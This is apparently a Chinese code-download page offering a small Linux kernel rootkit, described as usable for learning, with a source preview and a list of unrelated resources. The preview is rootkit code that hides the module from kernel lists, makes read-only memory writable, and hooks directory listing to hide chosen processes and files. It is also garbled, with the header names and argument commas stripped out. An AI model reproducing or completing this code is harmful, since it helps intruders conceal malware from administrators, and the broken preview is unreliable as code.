资源简介
一个小型的linux rootkit源码 可以实现模块隐藏 进程隐藏等一些基本功能 也可以用做学习
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#define MIN(ab) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE(“Dual BSD/GPL“);
MODULE_AUTHOR(“Arkadiusz Hiler“);
MODULE_AUTHOR(“Michal Winiarski“);
//STATIC VARIABLES SECTION
//we don‘t want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_readdir_orig)(struct file * void * filldir_t);
static int (*fs_readdir_orig)(struct file * void * filldir_t);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj THIS_MODULE->mkobj.kobj.parent “rt“);
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf const char *name int namelen loff_t offset u64 ino unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name pids_to_hide[i])) return 0;
}
if (!strcmp(name “rtkit“)) return 0;
return proc_filldir_orig(buf name namelen offset ino d_type);
}
static int proc_readdir_new(struct file *filp void *dirent filldir_t filldir)
{
proc_filldir_orig = filldir;
return proc_readdir_orig(filp dirent proc_filldir_new);
}
static int fs_filldir_new(void *buf const char *name int namelen loff_t offset u64 ino unsigned d_type)
{
if (hide_files && (!strncmp(name “__rt“ 4) || !strncmp(name “10-__rt“ 7))) return 0;
return fs_filldir_orig(buf name namelen offset ino d_type);
}
static int fs_readdir_new(struct file *filp void *dirent filldir_t filldir)
{
fs_filldir_orig = filldir;
return fs_readdir_orig(filp dirent fs_filldir_new);
}
- 上一篇:基于Socket的网络通信大作业 含可运行C代码
- 下一篇:ms-dos3.3版
相关资源
- Scratch源码
- E4A无障碍跨程序操作类库(带源码、
- 设备管理系统源码
- 安卓wifi直连app源码
- 我的世界源码(易语言版)
- labview编程软件滤波器以及编写程序设
- 我的界面(visual foxpro)源码
- 易语言:一键cf基址源码
- The Secret Path 3D 3D魔方迷宫[源码][scra
- scratch垃圾分类源码(最终版本).sb
- uboot到linux logo显示不间断 补丁
- 安卓QQ6.71协议源码易语言,qq协议源码
- 编译原理实验工具及参考源码(lex&
- E盾偷后台工具源码
- UNIX/LINUX编程实践教程的源码
- 十以内加减法练习 powerbuilder源码
- Linux任务管理器
- linux应用层的华容道游戏源代码
- 农场开发项目
- OCR源码
- PLC上位机编程软件
- 用foobar2000听google音乐[更新一下]
- 学生信息管理系统源码
- 用VC 编写的仿QQ聊天室程序源代码
- 毕业论文之温度传感器DS18B20(源码
- 可自定义导航网站源码
- 栅栏填充算法源码(VC)
- msp430F149操作红外接收模块源码
- [免费]图像识别c 源码
- 周易排盘源码
评论
共有 条评论